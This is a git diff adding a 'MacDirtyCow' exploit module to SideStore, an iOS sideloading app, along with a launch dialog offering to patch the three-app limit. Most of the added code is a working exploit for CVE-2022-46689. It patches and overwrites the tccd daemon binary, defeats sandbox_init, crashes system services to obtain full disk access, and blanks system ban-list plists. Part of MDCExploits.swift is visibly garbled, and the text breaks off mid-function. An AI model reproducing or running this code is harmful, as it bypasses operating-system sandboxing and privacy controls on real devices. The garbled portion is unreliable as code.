diff --git a/.gitignore b/.gitignore index d750188a..73be0573 100644 --- a/.gitignore +++ b/.gitignore @@ -33,4 +33,11 @@ xcuserdata /.vscode ## AppCode specific -.idea/ \ No newline at end of file +.idea/ + +Payload +*.ipa +*.zip.ipa +*.ipa.zip +xcodebuild.log + diff --git a/AltStore.xcodeproj/project.pbxproj b/AltStore.xcodeproj/project.pbxproj index 92c94e88..ae2c48ba 100644 --- a/AltStore.xcodeproj/project.pbxproj +++ b/AltStore.xcodeproj/project.pbxproj @@ -21,6 +21,10 @@ 19B9B7452845E6DF0076EF69 /* SelectTeamViewController.swift in Sources */ = {isa = PBXBuildFile; fileRef = 19B9B7442845E6DF0076EF69 /* SelectTeamViewController.swift */; }; 4879A95F2861046500FC1BBD /* AltSign in Frameworks */ = {isa = PBXBuildFile; productRef = 4879A95E2861046500FC1BBD /* AltSign */; }; 4879A9622861049C00FC1BBD /* OpenSSL in Frameworks */ = {isa = PBXBuildFile; productRef = 4879A9612861049C00FC1BBD /* OpenSSL */; }; + 7DBDF4BC2991727500C18375 /* grant_full_disk_access.m in Sources */ = {isa = PBXBuildFile; fileRef = 7DBDF4B72991727200C18375 /* grant_full_disk_access.m */; }; + 7DBDF4BD2991727500C18375 /* helpers.m in Sources */ = {isa = PBXBuildFile; fileRef = 7DBDF4B82991727200C18375 /* helpers.m */; }; + 7DBDF4BE2991727500C18375 /* vm_unaligned_copy_switch_race.c in Sources */ = {isa = PBXBuildFile; fileRef = 7DBDF4B92991727300C18375 /* vm_unaligned_copy_switch_race.c */; }; + 7DBDF4C0299172A000C18375 /* MDCExploits.swift in Sources */ = {isa = PBXBuildFile; fileRef = 7DBDF4BF299172A000C18375 /* MDCExploits.swift */; }; 99C4EF4D2979132100CB538D /* SemanticVersion in Frameworks */ = {isa = PBXBuildFile; productRef = 99C4EF4C2979132100CB538D /* SemanticVersion */; }; B3146ED2284F581E00BBC3FD /* Roxas.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = B3146ECD284F580500BBC3FD /* Roxas.framework */; }; B3146ED3284F581E00BBC3FD /* Roxas.framework in Embed Frameworks */ = {isa = PBXBuildFile; fileRef = B3146ECD284F580500BBC3FD /* Roxas.framework */; settings = {ATTRIBUTES = (CodeSignOnCopy, RemoveHeadersOnCopy, ); }; }; @@ -513,6 +517,13 @@ 191E5FD7290A6EFB001A3B7C /* minimuxer.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; name = minimuxer.h; path = ../Dependencies/minimuxer/minimuxer.h; sourceTree = ""; }; 1920B04E2924AC8300744F60 /* Settings.bundle */ = {isa = PBXFileReference; lastKnownFileType = "wrapper.plug-in"; path = Settings.bundle; sourceTree = ""; }; 19B9B7442845E6DF0076EF69 /* SelectTeamViewController.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = SelectTeamViewController.swift; sourceTree = ""; }; + 7DBDF4B62991727000C18375 /* helpers.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = helpers.h; sourceTree = ""; }; + 7DBDF4B72991727200C18375 /* grant_full_disk_access.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = grant_full_disk_access.m; sourceTree = ""; }; + 7DBDF4B82991727200C18375 /* helpers.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = helpers.m; sourceTree = ""; }; + 7DBDF4B92991727300C18375 /* vm_unaligned_copy_switch_race.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = vm_unaligned_copy_switch_race.c; sourceTree = ""; }; + 7DBDF4BA2991727400C18375 /* grant_full_disk_access.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = grant_full_disk_access.h; sourceTree = ""; }; + 7DBDF4BB2991727500C18375 /* vm_unaligned_copy_switch_race.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = vm_unaligned_copy_switch_race.h; sourceTree = ""; }; + 7DBDF4BF299172A000C18375 /* MDCExploits.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = MDCExploits.swift; sourceTree = ""; }; B3146EC6284F580500BBC3FD /* Roxas.xcodeproj */ = {isa = PBXFileReference; lastKnownFileType = "wrapper.pb-project"; name = Roxas.xcodeproj; path = Dependencies/Roxas/Roxas.xcodeproj; sourceTree = ""; }; B33FFBA9295F8F78002259E6 /* preboard.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = preboard.c; path = src/preboard.c; sourceTree = ""; }; B33FFBAB295F8F98002259E6 /* companion_proxy.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = companion_proxy.c; path = src/companion_proxy.c; sourceTree = ""; }; @@ -972,6 +983,20 @@ path = "libimobiledevice-glue/src"; sourceTree = ""; }; + 7DBDF49C2991720500C18375 /* MDCExploit */ = { + isa = PBXGroup; + children = ( + 7DBDF4BA2991727400C18375 /* grant_full_disk_access.h */, + 7DBDF4B72991727200C18375 /* grant_full_disk_access.m */, + 7DBDF4B62991727000C18375 /* helpers.h */, + 7DBDF4B82991727200C18375 /* helpers.m */, + 7DBDF4B92991727300C18375 /* vm_unaligned_copy_switch_race.c */, + 7DBDF4BB2991727500C18375 /* vm_unaligned_copy_switch_race.h */, + 7DBDF4BF299172A000C18375 /* MDCExploits.swift */, + ); + path = MDCExploit; + sourceTree = ""; + }; B3146EC7284F580500BBC3FD /* Products */ = { isa = PBXGroup; children = ( @@ -1390,6 +1415,7 @@ BF6C8FA8242935CA00125131 /* Dependencies */ = { isa = PBXGroup; children = ( + 7DBDF49C2991720500C18375 /* MDCExploit */, BF6C8FA9242935DB00125131 /* MarkdownAttributedString */, ); name = Dependencies; @@ -2442,7 +2468,9 @@ BFC1F38D22AEE3A4003AC21A /* DownloadAppOperation.swift in Sources */, BFE6073A231ADF82002B0E8E /* SettingsViewController.swift in Sources */, D57F2C9126E0070200B9FA39 /* EnableJITOperation.swift in Sources */, + 7DBDF4BD2991727500C18375 /* helpers.m in Sources */, BF8CAE4E248AEABA004D6CCE /* UIDevice+Jailbreak.swift in Sources */, + 7DBDF4BE2991727500C18375 /* vm_unaligned_copy_switch_race.c in Sources */, D5E1E7C128077DE90016FC96 /* FetchTrustedSourcesOperation.swift in Sources */, BFE338DF22F0EADB002E24B9 /* FetchSourceOperation.swift in Sources */, D54DED1428CBC44B008B27A0 /* ErrorLogTableViewCell.swift in Sources */, @@ -2488,7 +2516,9 @@ BFB39B5C252BC10E00D1BE50 /* Managed.swift in Sources */, BF770E5822BC3D0F002A40FE /* RefreshGroup.swift in Sources */, 19B9B7452845E6DF0076EF69 /* SelectTeamViewController.swift in Sources */, + 7DBDF4BC2991727500C18375 /* grant_full_disk_access.m in Sources */, BF18B0F122E25DF9005C4CF5 /* ToastView.swift in Sources */, + 7DBDF4C0299172A000C18375 /* MDCExploits.swift in Sources */, BF3D649F22E7B24C00E9056B /* CollapsingTextView.swift in Sources */, BF02419622F2199300129732 /* RefreshAttemptsViewController.swift in Sources */, B376FE3E29258C8900E18883 /* OSLog+SideStore.swift in Sources */, diff --git a/AltStore/AltStore-Bridging-Header.h b/AltStore/AltStore-Bridging-Header.h index f75b06b6..e7d53d8a 100644 --- a/AltStore/AltStore-Bridging-Header.h +++ b/AltStore/AltStore-Bridging-Header.h @@ -5,4 +5,8 @@ #import "NSAttributedString+Markdown.h" #import "ALTAppPatcher.h" +#import "grant_full_disk_access.h" +#import "vm_unaligned_copy_switch_race.h" +#import "helpers.h" + #include "fragmentzip.h" diff --git a/AltStore/LaunchViewController.swift b/AltStore/LaunchViewController.swift index 25692f06..50008be0 100644 --- a/AltStore/LaunchViewController.swift +++ b/AltStore/LaunchViewController.swift @@ -6,22 +6,21 @@ // Copyright © 2019 Riley Testut. All rights reserved. // -import UIKit -import Roxas import EmotionalDamage import minimuxer +import Roxas +import UIKit import AltStoreCore import UniformTypeIdentifiers -final class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDelegate -{ +final class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDelegate { private var didFinishLaunching = false private var destinationViewController: UIViewController! override var launchConditions: [RSTLaunchCondition] { - let isDatabaseStarted = RSTLaunchCondition(condition: { DatabaseManager.shared.isStarted }) { (completionHandler) in + let isDatabaseStarted = RSTLaunchCondition(condition: { DatabaseManager.shared.isStarted }) { completionHandler in DatabaseManager.shared.start(completionHandler: completionHandler) } @@ -36,8 +35,7 @@ final class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDeleg return self.children.first } - override func viewDidLoad() - { + override func viewDidLoad() { defer { // Create destinationViewController now so view controllers can register for receiving Notifications. self.destinationViewController = self.storyboard!.instantiateViewController(withIdentifier: "tabBarController") as! TabBarController @@ -48,13 +46,44 @@ final class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDeleg override func viewDidAppear(_ animated: Bool) { super.viewDidAppear(true) #if !targetEnvironment(simulator) + let dialogMessage = UIAlertController(title: "MDC Patch", message: "please confirm you would like to patch MDC/three-app-limit, press patch to patch, dont patch to launch sidestore without patch", preferredStyle: .alert) + + // Create OK button with action handler + let patch = UIAlertAction(title: "Patch", style: .default, handler: { _ in + patch3AppLimit { result in + switch result { + case .success: + print("patched sucessfully") + case .failure(let err): + switch err { + case .NoFDA(let msg): + self.displayError("Failed to get full disk access: \(msg)") + return + case .FailedPatchd: + self.displayError("Failed to install patchd.") + return + } + } + } + }) + + let noPatch = UIAlertAction(title: "Continue without Patch", style: .default, handler: { _ in + print("starting SS without mdc patch") + }) + + dialogMessage.addAction(patch) + dialogMessage.addAction(noPatch) + + self.present(dialogMessage, animated: true, completion: nil) + start_em_proxy(bind_addr: Consts.Proxy.serverURL) guard let pf = fetchPairingFile() else { - displayError("Device pairing file not found.") + self.displayError("Device pairing file not found.") return } - start_minimuxer_threads(pf) + + self.start_minimuxer_threads(pf) #endif } @@ -70,10 +99,11 @@ final class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDeleg fm.fileExists(atPath: appResourcePath.path), let data = fm.contents(atPath: appResourcePath.path), let contents = String(data: data, encoding: .utf8), - !contents.isEmpty { + !contents.isEmpty + { print("Loaded ALTPairingFile from \(appResourcePath.path)") return contents - } else if let plistString = Bundle.main.object(forInfoDictionaryKey: "ALTPairingFile") as? String, !plistString.isEmpty, !plistString.contains("insert pairing file here"){ + } else if let plistString = Bundle.main.object(forInfoDictionaryKey: "ALTPairingFile") as? String, !plistString.isEmpty, !plistString.contains("insert pairing file here") { print("Loaded ALTPairingFile from Info.plist") return plistString } else { @@ -82,7 +112,7 @@ final class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDeleg let dialogMessage = UIAlertController(title: "Pairing File", message: "Select the pairing file for your device. For more information, go to https://youtu.be/dQw4w9WgXcQ", preferredStyle: .alert) // Create OK button with action handler - let ok = UIAlertAction(title: "OK", style: .default, handler: { (action) -> Void in + let ok = UIAlertAction(title: "OK", style: .default, handler: { _ in // Try to load it from a file picker var types = UTType.types(tag: "plist", tagClass: UTTagClass.filenameExtension, conformingTo: nil) types.append(contentsOf: UTType.types(tag: "mobiledevicepairing", tagClass: UTTagClass.filenameExtension, conformingTo: UTType.data)) @@ -91,9 +121,9 @@ final class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDeleg documentPickerController.shouldShowFileExtensions = true documentPickerController.delegate = self self.present(documentPickerController, animated: true, completion: nil) - }) + }) - //Add OK button to a dialog message + // Add OK button to a dialog message dialogMessage.addAction(ok) // Present Alert to @@ -121,7 +151,7 @@ final class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDeleg let data1 = try Data(contentsOf: urls[0]) let pairing_string = String(bytes: data1, encoding: .utf8) if pairing_string == nil { - displayError("Unable to read pairing file") + self.displayError("Unable to read pairing file") } // Save to a file for next launch @@ -131,20 +161,20 @@ final class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDeleg try pairing_string?.write(to: documentsPath, atomically: true, encoding: String.Encoding.utf8) // Start minimuxer now that we have a file - start_minimuxer_threads(pairing_string!) + self.start_minimuxer_threads(pairing_string!) } catch { - displayError("Unable to read pairing file") + self.displayError("Unable to read pairing file") } - if (isSecuredURL) { + if isSecuredURL { url.stopAccessingSecurityScopedResource() } controller.dismiss(animated: true, completion: nil) } func documentPickerWasCancelled(_ controller: UIDocumentPickerViewController) { - displayError("Choosing a pairing file was cancelled. Please re-open the app and try again.") + self.displayError("Choosing a pairing file was cancelled. Please re-open the app and try again.") } func start_minimuxer_threads(_ pairing_file: String) { @@ -152,7 +182,7 @@ final class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDeleg #if false // Retries var res = start_minimuxer(pairing_file: pairing_file) var attempts = 10 - while (attempts != 0 && res != 0) { + while attempts != 0, res != 0 { print("start_minimuxer `res` != 0, retry #\(attempts)") res = start_minimuxer(pairing_file: pairing_file) attempts -= 1 @@ -161,52 +191,43 @@ final class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDeleg let res = start_minimuxer(pairing_file: pairing_file) #endif if res != 0 { - displayError("minimuxer failed to start. Incorrect arguments were passed.") + self.displayError("minimuxer failed to start. Incorrect arguments were passed.") } auto_mount_dev_image() } } -extension LaunchViewController -{ - override func handleLaunchError(_ error: Error) - { - do - { +extension LaunchViewController { + override func handleLaunchError(_ error: Error) { + do { throw error - } - catch let error as NSError - { + } catch let error as NSError { let title = error.userInfo[NSLocalizedFailureErrorKey] as? String ?? NSLocalizedString("Unable to Launch SideStore", comment: "") let errorDescription: String - if #available(iOS 14.5, *) - { + if #available(iOS 14.5, *) { let errorMessages = [error.debugDescription] + error.underlyingErrors.map { ($0 as NSError).debugDescription } errorDescription = errorMessages.joined(separator: "\n\n") - } - else - { + } else { errorDescription = error.debugDescription } let alertController = UIAlertController(title: title, message: errorDescription, preferredStyle: .alert) - alertController.addAction(UIAlertAction(title: NSLocalizedString("Retry", comment: ""), style: .default, handler: { (action) in + alertController.addAction(UIAlertAction(title: NSLocalizedString("Retry", comment: ""), style: .default, handler: { _ in self.handleLaunchConditions() })) self.present(alertController, animated: true, completion: nil) } } - override func finishLaunching() - { + override func finishLaunching() { super.finishLaunching() guard !self.didFinishLaunching else { return } AppManager.shared.update() - AppManager.shared.updatePatronsIfNeeded() + AppManager.shared.updatePatronsIfNeeded() PatreonAPI.shared.refreshPatreonAccount() // Add view controller as child (rather than presenting modally) diff --git a/AltStore/MDCExploit/MDCExploits.swift b/AltStore/MDCExploit/MDCExploits.swift new file mode 100644 index 00000000..c1010d77 --- /dev/null +++ b/AltStore/MDCExploit/MDCExploits.swift @@ -0,0 +1,112 @@ +import Foundation + +let blankplist = "PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPCFET0NUWVBFIHBsaXN0IFBVQkxJQyAiLS8vQXBwbGUvL0RURCBQTElTVCAxLjAvL0VOIiAiaHR0cDovL3d3dy5hcHBsZS5jb20vRFREcy9Qcm9wZXJ0eUxpc3QtMS4wLmR0ZCI+CjxwbGlzdCB2ZXJzaW9uPSIxLjAiPgo8ZGljdC8+CjwvcGxpc3Q+Cg==" + +enum PatchError: Error { + case NoFDA(msg: String) + case FailedPatchd +} + +enum PatchResult { + case success, failure(PatchError) +} + +func patch3AppLimit(completion: @escaping (PatchResult) -> ()) { + grant_full_disk_access { error in + if let error = error { + completion(.failure(PatchError.NoFDA(msg: "Failed to get full disk access: \(error)"))) + } + DispatchQueue.global(qos: .userInitiated).async { + print("This is run on a background queue") + if !patch_installd() { + completion(.failure(PatchError.FailedPatchd)) + } + } + completion(.success) + } +} + +enum WhitelistPatchResult { + case success, failure +} + +func patchWhiteList() { + overwriteFileWithDataImpl(originPath: "/private/var/db/MobileIdentityData/AuthListBannedUpps.plist", replacementData: try! Data(base64Encoded: blankplist)!) + overwriteFileWithDataImpl(originPath: "/private/var/db/MobileIdentityData/AuthListBannedCdHashes.plist", replacementData: try! Data(base64Encoded: blankplist)!) + overwriteFileWithDataImpl(originPath: "/private/var/db/MobileIdentityData/Rejections.plist", replacementData: try! Data(base64Encoded: blankplist)!) +} + +func overwriteFileWithDataImpl(originPath: String, replacementData: Data) -> Bool { + #if false + let documentDirectory = FileManager.default.urls( + for: .documentDirectory, + in: .userDomainMask + )[0].path + + let pathToRealTarget = originPath + let originPath = documentDirectory + originPath + let origData = try! Data(contentsOf: URL(fileURLWithPath: pathToRealTarget)) + try! origData.write(to: URL(fileURLWithPath: originPath)) + #endif + + // open and map original font + let fd = open(originPath, O_RDONLY | O_CLOEXEC) + if fd == -1 { + print("Could not open target file") + return false + } + defer { close(fd) } + // check size of font + let originalFileSize = lseek(fd, 0, SEEK_END) + guard originalFileSize >= replacementData.count else { + print("Original file: \(originalFileSize)") + print("Replacement file: \(replacementData.count)") + print("File too big!") + return false + } + lseek(fd, 0, SEEK_SET) + + // Map the font we want to overwrite so we can mlock it + let fileMap = mmap(nil, replacementData.count, PROT_READ, MAP_SHARED, fd, 0) + if fileMap == MAP_FAILED { + print("Failed to map") + return false + } + // mlock so the file gets cached in memory + guard mlock(fileMap, replacementData.count) == 0 else { + print("Failed to mlock") + return true + } + + // for every 16k chunk, rewrite + print(Date()) + for chunkOff in stride(from: 0, to: replacementData.count, by: 0x4000) { + print(String(format: "%lx", chunkOff)) + let dataChunk = replacementData[chunkOff.. String? { + return (try? String?(String(contentsOfFile: path)) ?? "ERROR: Could not read from file! Are you running in the simulator or not unsandboxed?") +} diff --git a/AltStore/MDCExploit/grant_full_disk_access.h b/AltStore/MDCExploit/grant_full_disk_access.h new file mode 100644 index 00000000..6caea60a --- /dev/null +++ b/AltStore/MDCExploit/grant_full_disk_access.h @@ -0,0 +1,6 @@ +#pragma once +@import Foundation; + +/// Uses CVE-2022-46689 to grant the current app read/write access outside the sandbox. +void grant_full_disk_access(void (^_Nonnull completion)(NSError* _Nullable)); +bool patch_installd(void); diff --git a/AltStore/MDCExploit/grant_full_disk_access.m b/AltStore/MDCExploit/grant_full_disk_access.m new file mode 100644 index 00000000..9563412d --- /dev/null +++ b/AltStore/MDCExploit/grant_full_disk_access.m @@ -0,0 +1,614 @@ +@import Darwin; +@import Foundation; +@import MachO; + +#import +// you'll need helpers.m from Ian Beer's write_no_write and vm_unaligned_copy_switch_race.m from +// WDBFontOverwrite +// Also, set an NSAppleMusicUsageDescription in Info.plist (can be anything) +// Please don't call this code on iOS 14 or below +// (This temporarily overwrites tccd, and on iOS 14 and above changes do not revert on reboot) +#import "grant_full_disk_access.h" +#import "helpers.h" +#import "vm_unaligned_copy_switch_race.h" + +typedef NSObject* xpc_object_t; +typedef xpc_object_t xpc_connection_t; +typedef void (^xpc_handler_t)(xpc_object_t object); +xpc_object_t xpc_dictionary_create(const char* const _Nonnull* keys, + xpc_object_t _Nullable const* values, size_t count); +xpc_connection_t xpc_connection_create_mach_service(const char* name, dispatch_queue_t targetq, + uint64_t flags); +void xpc_connection_set_event_handler(xpc_connection_t connection, xpc_handler_t handler); +void xpc_connection_resume(xpc_connection_t connection); +void xpc_connection_send_message_with_reply(xpc_connection_t connection, xpc_object_t message, + dispatch_queue_t replyq, xpc_handler_t handler); +xpc_object_t xpc_connection_send_message_with_reply_sync(xpc_connection_t connection, + xpc_object_t message); +xpc_object_t xpc_bool_create(bool value); +xpc_object_t xpc_string_create(const char* string); +xpc_object_t xpc_null_create(void); +const char* xpc_dictionary_get_string(xpc_object_t xdict, const char* key); + +int64_t sandbox_extension_consume(const char* token); + +// MARK: - patchfind + +struct grant_full_disk_access_offsets { + uint64_t offset_addr_s_com_apple_tcc_; + uint64_t offset_padding_space_for_read_write_string; + uint64_t offset_addr_s_kTCCServiceMediaLibrary; + uint64_t offset_auth_got__sandbox_init; + uint64_t offset_just_return_0; + bool is_arm64e; +}; + +static bool patchfind_sections(void* executable_map, + struct segment_command_64** data_const_segment_out, + struct symtab_command** symtab_out, + struct dysymtab_command** dysymtab_out) { + struct mach_header_64* executable_header = executable_map; + struct load_command* load_command = executable_map + sizeof(struct mach_header_64); + for (int load_command_index = 0; load_command_index < executable_header->ncmds; + load_command_index++) { + switch (load_command->cmd) { + case LC_SEGMENT_64: { + struct segment_command_64* segment = (struct segment_command_64*)load_command; + if (strcmp(segment->segname, "__DATA_CONST") == 0) { + *data_const_segment_out = segment; + } + break; + } + case LC_SYMTAB: { + *symtab_out = (struct symtab_command*)load_command; + break; + } + case LC_DYSYMTAB: { + *dysymtab_out = (struct dysymtab_command*)load_command; + break; + } + } + load_command = ((void*)load_command) + load_command->cmdsize; + } + return true; +} + +static uint64_t patchfind_get_padding(struct segment_command_64* segment) { + struct section_64* section_array = ((void*)segment) + sizeof(struct segment_command_64); + struct section_64* last_section = §ion_array[segment->nsects - 1]; + return last_section->offset + last_section->size; +} + +static uint64_t patchfind_pointer_to_string(void* executable_map, size_t executable_length, + const char* needle) { + void* str_offset = memmem(executable_map, executable_length, needle, strlen(needle) + 1); + if (!str_offset) { + return 0; + } + uint64_t str_file_offset = str_offset - executable_map; + for (int i = 0; i < executable_length; i += 8) { + uint64_t val = *(uint64_t*)(executable_map + i); + if ((val & 0xfffffffful) == str_file_offset) { + return i; + } + } + return 0; +} + +static uint64_t patchfind_return_0(void* executable_map, size_t executable_length) { + // TCCDSyncAccessAction::sequencer + // mov x0, #0 + // ret + static const char needle[] = {0x00, 0x00, 0x80, 0xd2, 0xc0, 0x03, 0x5f, 0xd6}; + void* offset = memmem(executable_map, executable_length, needle, sizeof(needle)); + if (!offset) { + return 0; + } + return offset - executable_map; +} + +static uint64_t patchfind_got(void* executable_map, size_t executable_length, + struct segment_command_64* data_const_segment, + struct symtab_command* symtab_command, + struct dysymtab_command* dysymtab_command, + const char* target_symbol_name) { + uint64_t target_symbol_index = 0; + for (int sym_index = 0; sym_index < symtab_command->nsyms; sym_index++) { + struct nlist_64* sym = + ((struct nlist_64*)(executable_map + symtab_command->symoff)) + sym_index; + const char* sym_name = executable_map + symtab_command->stroff + sym->n_un.n_strx; + if (strcmp(sym_name, target_symbol_name)) { + continue; + } + // printf("%d %llx\n", sym_index, (uint64_t)(((void*)sym) - executable_map)); + target_symbol_index = sym_index; + break; + } + + struct section_64* section_array = + ((void*)data_const_segment) + sizeof(struct segment_command_64); + struct section_64* first_section = §ion_array[0]; + if (!(strcmp(first_section->sectname, "__auth_got") == 0 || + strcmp(first_section->sectname, "__got") == 0)) { + return 0; + } + uint32_t* indirect_table = executable_map + dysymtab_command->indirectsymoff; + + for (int i = 0; i < first_section->size; i += 8) { + uint64_t val = *(uint64_t*)(executable_map + first_section->offset + i); + uint64_t indirect_table_entry = (val & 0xfffful); + if (indirect_table[first_section->reserved1 + indirect_table_entry] == target_symbol_index) { + return first_section->offset + i; + } + } + return 0; +} + +static bool patchfind(void* executable_map, size_t executable_length, + struct grant_full_disk_access_offsets* offsets) { + struct segment_command_64* data_const_segment = nil; + struct symtab_command* symtab_command = nil; + struct dysymtab_command* dysymtab_command = nil; + if (!patchfind_sections(executable_map, &data_const_segment, &symtab_command, + &dysymtab_command)) { + printf("no sections\n"); + return false; + } + if ((offsets->offset_addr_s_com_apple_tcc_ = + patchfind_pointer_to_string(executable_map, executable_length, "com.apple.tcc.")) == 0) { + printf("no com.apple.tcc. string\n"); + return false; + } + if ((offsets->offset_padding_space_for_read_write_string = + patchfind_get_padding(data_const_segment)) == 0) { + printf("no padding\n"); + return false; + } + if ((offsets->offset_addr_s_kTCCServiceMediaLibrary = patchfind_pointer_to_string( + executable_map, executable_length, "kTCCServiceMediaLibrary")) == 0) { + printf("no kTCCServiceMediaLibrary string\n"); + return false; + } + if ((offsets->offset_auth_got__sandbox_init = + patchfind_got(executable_map, executable_length, data_const_segment, symtab_command, + dysymtab_command, "_sandbox_init")) == 0) { + printf("no sandbox_init\n"); + return false; + } + if ((offsets->offset_just_return_0 = patchfind_return_0(executable_map, executable_length)) == + 0) { + printf("no just return 0\n"); + return false; + } + struct mach_header_64* executable_header = executable_map; + offsets->is_arm64e = (executable_header->cpusubtype & ~CPU_SUBTYPE_MASK) == CPU_SUBTYPE_ARM64E; + + return true; +} + +// MARK: - tccd patching + +static void call_tccd(void (^completion)(NSString* _Nullable extension_token)) { + // reimplmentation of TCCAccessRequest, as we need to grab and cache the sandbox token so we can + // re-use it until next reboot. + // Returns the sandbox token if there is one, or nil if there isn't one. + xpc_connection_t connection = xpc_connection_create_mach_service( + "com.apple.tccd", dispatch_get_global_queue(QOS_CLASS_USER_INITIATED, 0), 0); + xpc_connection_set_event_handler(connection, ^(xpc_object_t object) { + NSLog(@"xpc event handler: %@", object); + }); + xpc_connection_resume(connection); + const char* keys[] = { + "TCCD_MSG_ID", "function", "service", "require_purpose", "preflight", + "target_token", "background_session", + }; + xpc_object_t values[] = { + xpc_string_create("17087.1"), + xpc_string_create("TCCAccessRequest"), + xpc_string_create("com.apple.app-sandbox.read-write"), + xpc_null_create(), + xpc_bool_create(false), + xpc_null_create(), + xpc_bool_create(false), + }; + xpc_object_t request_message = xpc_dictionary_create(keys, values, sizeof(keys) / sizeof(*keys)); +#if 0 + xpc_object_t response_message = xpc_connection_send_message_with_reply_sync(connection, request_message); + NSLog(@"%@", response_message); + +#endif + xpc_connection_send_message_with_reply( + connection, request_message, dispatch_get_global_queue(QOS_CLASS_USER_INITIATED, 0), + ^(xpc_object_t object) { + if (!object) { + NSLog(@"object is nil???"); + completion(nil); + return; + } + NSLog(@"response: %@", object); + if ([object isKindOfClass:NSClassFromString(@"OS_xpc_error")]) { + NSLog(@"xpc error?"); + completion(nil); + return; + } + NSLog(@"debug description: %@", [object debugDescription]); + const char* extension_string = xpc_dictionary_get_string(object, "extension"); + NSString* extension_nsstring = + extension_string ? [NSString stringWithUTF8String:extension_string] : nil; + completion(extension_nsstring); + }); +} + +static NSData* patchTCCD(void* executableMap, size_t executableLength) { + struct grant_full_disk_access_offsets offsets = {}; + if (!patchfind(executableMap, executableLength, &offsets)) { + return nil; + } + + NSMutableData* data = [NSMutableData dataWithBytes:executableMap length:executableLength]; + // strcpy(data.mutableBytes, "com.apple.app-sandbox.read-write", sizeOfStr); + char* mutableBytes = data.mutableBytes; + { + // rewrite com.apple.tcc. into blank string + *(uint64_t*)(mutableBytes + offsets.offset_addr_s_com_apple_tcc_ + 8) = 0; + } + { + // make offset_addr_s_kTCCServiceMediaLibrary point to "com.apple.app-sandbox.read-write" + // we need to stick this somewhere; just put it in the padding between + // the end of __objc_arrayobj and the end of __DATA_CONST + strcpy((char*)(data.mutableBytes + offsets.offset_padding_space_for_read_write_string), + "com.apple.app-sandbox.read-write"); + struct dyld_chained_ptr_arm64e_rebase targetRebase = + *(struct dyld_chained_ptr_arm64e_rebase*)(mutableBytes + + offsets.offset_addr_s_kTCCServiceMediaLibrary); + targetRebase.target = offsets.offset_padding_space_for_read_write_string; + *(struct dyld_chained_ptr_arm64e_rebase*)(mutableBytes + + offsets.offset_addr_s_kTCCServiceMediaLibrary) = + targetRebase; + *(uint64_t*)(mutableBytes + offsets.offset_addr_s_kTCCServiceMediaLibrary + 8) = + strlen("com.apple.app-sandbox.read-write"); + } + if (offsets.is_arm64e) { + // make sandbox_init call return 0; + struct dyld_chained_ptr_arm64e_auth_rebase targetRebase = { + .auth = 1, + .bind = 0, + .next = 1, + .key = 0, // IA + .addrDiv = 1, + .diversity = 0, + .target = offsets.offset_just_return_0, + }; + *(struct dyld_chained_ptr_arm64e_auth_rebase*)(mutableBytes + + offsets.offset_auth_got__sandbox_init) = + targetRebase; + } else { + // make sandbox_init call return 0; + struct dyld_chained_ptr_64_rebase targetRebase = { + .bind = 0, + .next = 2, + .target = offsets.offset_just_return_0, + }; + *(struct dyld_chained_ptr_64_rebase*)(mutableBytes + offsets.offset_auth_got__sandbox_init) = + targetRebase; + } + return data; +} + +static bool overwrite_file(int fd, NSData* sourceData) { + for (int off = 0; off < sourceData.length; off += 0x4000) { + bool success = false; + for (int i = 0; i < 2; i++) { + if (unaligned_copy_switch_race( + fd, off, sourceData.bytes + off, + off + 0x4000 > sourceData.length ? sourceData.length - off : 0x4000)) { + success = true; + break; + } + } + if (!success) { + return false; + } + } + return true; +} + +static void grant_full_disk_access_impl(void (^completion)(NSString* extension_token, + NSError* _Nullable error)) { + char* targetPath = "/System/Library/PrivateFrameworks/TCC.framework/Support/tccd"; + int fd = open(targetPath, O_RDONLY | O_CLOEXEC); + if (fd == -1) { + // iOS 15.3 and below + targetPath = "/System/Library/PrivateFrameworks/TCC.framework/tccd"; + fd = open(targetPath, O_RDONLY | O_CLOEXEC); + } + off_t targetLength = lseek(fd, 0, SEEK_END); + lseek(fd, 0, SEEK_SET); + void* targetMap = mmap(nil, targetLength, PROT_READ, MAP_SHARED, fd, 0); + + NSData* originalData = [NSData dataWithBytes:targetMap length:targetLength]; + NSData* sourceData = patchTCCD(targetMap, targetLength); + if (!sourceData) { + completion(nil, [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess" + code:5 + userInfo:@{NSLocalizedDescriptionKey : @"Can't patchfind."}]); + return; + } + + if (!overwrite_file(fd, sourceData)) { + overwrite_file(fd, originalData); + munmap(targetMap, targetLength); + completion( + nil, [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess" + code:1 + userInfo:@{ + NSLocalizedDescriptionKey : @"Can't overwrite file: your device may " + @"not be vulnerable to CVE-2022-46689." + }]); + return; + } + munmap(targetMap, targetLength); + + xpc_crasher("com.apple.tccd"); + sleep(1); + call_tccd(^(NSString* _Nullable extension_token) { + overwrite_file(fd, originalData); + xpc_crasher("com.apple.tccd"); + NSError* returnError = nil; + if 